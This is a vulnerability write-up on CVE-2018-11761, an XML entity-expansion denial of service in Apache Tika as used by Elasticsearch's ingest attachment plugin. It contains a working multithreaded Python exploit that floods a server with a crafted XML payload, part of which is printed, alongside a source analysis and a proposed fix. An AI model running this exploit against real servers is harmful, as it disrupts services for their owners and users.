标签归档:XML

Apache Tika Denial of Service Vulnerability (CVE-2018-11761)

Summary

In a recent research on Apache Tika, I found a DOS (Denial of Service) vulnerability existed on its XML parser. It is caused that the parser improperly parses XML document.

Affected Version

  • Tested on ElasticSearch 6.3.1 (using Tika 1.18) and 6.2.3 (using Tika 1.17)

Analysis

As we know, the core ingest attachment plugin lets Elasticsearch extract file attachments in common formats (such as PPT, XLS, and PDF) by using the Apache text extraction library Tika. So, let’s take a look at the source code of ingest attachment plugin.

/** subset of parsers for types we support */
private static final Parser PARSERS[] = new Parser[] {
    // documents
    new org.apache.tika.parser.html.HtmlParser(),
    new org.apache.tika.parser.rtf.RTFParser(),
    new org.apache.tika.parser.pdf.PDFParser(),
    new org.apache.tika.parser.txt.TXTParser(),
    new org.apache.tika.parser.microsoft.OfficeParser(),
    new org.apache.tika.parser.microsoft.OldExcelParser(),
    ParserDecorator.withoutTypes(new org.apache.tika.parser.microsoft.ooxml.OOXMLParser(), EXCLUDES),
    new org.apache.tika.parser.odf.OpenDocumentParser(),
    new org.apache.tika.parser.iwork.IWorkPackageParser(),
    new org.apache.tika.parser.xml.DcXMLParser(),
    new org.apache.tika.parser.epub.EpubParser(),
};

Actually, the plugin uses org.apache.tika.parser.xml.DcXMLParser() as a parser to extract contents from a XML file. Upon further investigation, we can see the following invocations:

public static SAXParserFactory getSAXParserFactory() {
    SAXParserFactory factory = SAXParserFactory.newInstance();
    factory.setNamespaceAware(true);
    factory.setValidating(false);
    try {
        factory.setFeature(
                XMLConstants.FEATURE_SECURE_PROCESSING, true);
    } catch (ParserConfigurationException e) {
    } catch (SAXNotSupportedException e) {
    } catch (SAXNotRecognizedException e) {
        // TIKA-271: Some XML parsers do not support the
        // secure-processing feature, even though it's required by
        // JAXP in Java 5. Ignoring the exception is fine here, as
        // deployments without this feature are inherently vulnerable
        // to XML denial-of-service attacks.
    }
 
    return factory;
}

In the function above, we can see very limited security restrictions for SAXParserFactory.newInstance() object:

factory.setFeature(XMLConstants.FEATURE_SECURE_PROCESSING, true);

According Oracle’s explanation, when XMLConstants.FEATURE_SECURE_PROCESSING is enabled, it instructs the implementation to process XML securely. This may set limits on XML constructs to avoid conditions such as denial of service attacks.

But, actually it’s unable to completely prevent against XML Entity Expansion. An attacker still can send crafted XML document to the ES server to do DoS attack via XML Entity Expansion vulnerability as mentioned in the section Proof of Concept. I checked Apache Tika source code that they only enable XMLConstants.FEATURE_SECURE_PROCESSING feature, which they could think it can protect from this type of attack per this article since it limits the number of entity expansions to 64,000 by default. But actually, we can still leverage these 64,000 entity expansions to generate an amplification XML object in memory, e.g. the file size of ES_XML.xml in the POC is only around 64KB, but once it is uploaded to the backend Tika server on ES server, Tika will have to allocate at least 6MB memory (6MB / 64KB = 100 times) to parse it, which leads to CPU utilization increasing rapidly.

Therefore, from my understanding, one possible fix could be, to set the following system property would greatly limit the impact as per the Oracle document:

jdk.xml.entityExpansionLimit=1

Proof of Concept

The following demonstration is tested and verified on ElasticSearch 6.3.1 which is using Tika 1.18:

  • Create a POC script and save as poc_dos_es.py.
# Title: ElasticSearch Ingest Attachment Plugin DOS vulnerability
# Author: avfisher
# Affected version: Tested on ES 6.3.1 and ES 6.2.3 (but all versions could be impacted as well)
# Time: 2018-07-23
# Example: 
# python poc_dos_es.py 127.0.0.1 9200 ES_XML.xml 5

import requests
import sys
import base64
import json
import threading
import sys


headers = {"Content-Type" : "application/json"}


class ExploitThread(threading.Thread):
    def __init__(self, es_ip, es_port, mal_xml_file, thread_index):
        threading.Thread.__init__(self)
        self.es_ip = es_ip
        self.es_port = es_port
        self.mal_xml_file = mal_xml_file
        self.thread_index = thread_index
        self.num = 1

    def create_ingest_att_pipeline(self, url):
        pipeline_url = "{}/_ingest/pipeline/attachment".format(url)
        data = {
            "description" : "Extract attachment information",
            "processors" : [{
                "attachment" : {
                    "field" : "data",
                    "indexed_chars": "-1"
                }
            }]
        }
        res = requests.put(pipeline_url, headers=headers, data=json.dumps(data))
        if res.status_code == 200:
            print("[+] [Thread {}] [No. {}] pipeline created successfully, res: {}".format(self.thread_index, self.num, res.text))
        else:
            print("[!] [Thread {}] [No. {}] failed to create pipeline, res: {}".format(self.thread_index, self.num, res.text))

    def send_payload(self, url, payload):
        ingest_url = "{}/my_index/_doc/1?pipeline=attachment".format(url)
        data = {
            "data": payload
        }
        res = requests.put(ingest_url, headers=headers, data=json.dumps(data))
        print("[+] [Thread {}] [No. {}] response from es clusters: {}".format(self.thread_index, self.num, res.text))

    def verify_mal_doc(self, url):
        ingest_url = "{}/my_index/_doc/1".format(url)
        res = requests.get(ingest_url, headers=headers)
        if res.status_code == 200:
            print("[+] [Thread {}] [No. {}] res: {}".format(self.thread_index, self.num, res.text))
        else:
            print("[!] [Thread {}] [No. {}] failed to verify res: {}".format(self.thread_index, self.num, res.text))

    def run(self):
        url = "http://{}:{}".format(self.es_ip, self.es_port)
        
        with open(self.mal_xml_file, 'rb') as f:
            content = base64.b64encode(f.read())
        
        self.create_ingest_att_pipeline(url)
        while True:
            print("[+] [Thread {}] [No. {}] trying to send malformated payload...".format(self.thread_index, self.num))
            self.send_payload(url, content)
            self.num += 1
            #self.verify_mal_doc(url)


if __name__ == "__main__":
    # ES server's IP, Port
    es_ip = sys.argv[1] 
    es_port = sys.argv[2]
    # Crafted XML file
    mal_xml_file = sys.argv[3]
    # Number of Processes
    thread_num = int(sys.argv[4])   
    for i in range(thread_num):
        i += 1
        t = ExploitThread(es_ip, es_port, mal_xml_file, i)
        t.start()

  • Create a crafted XML document and save as ES_XML.xml.
<?xml version="1.0" encoding="UTF-8" ?>
<!DOCTYPE foo [
<!ENTITY a "12345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000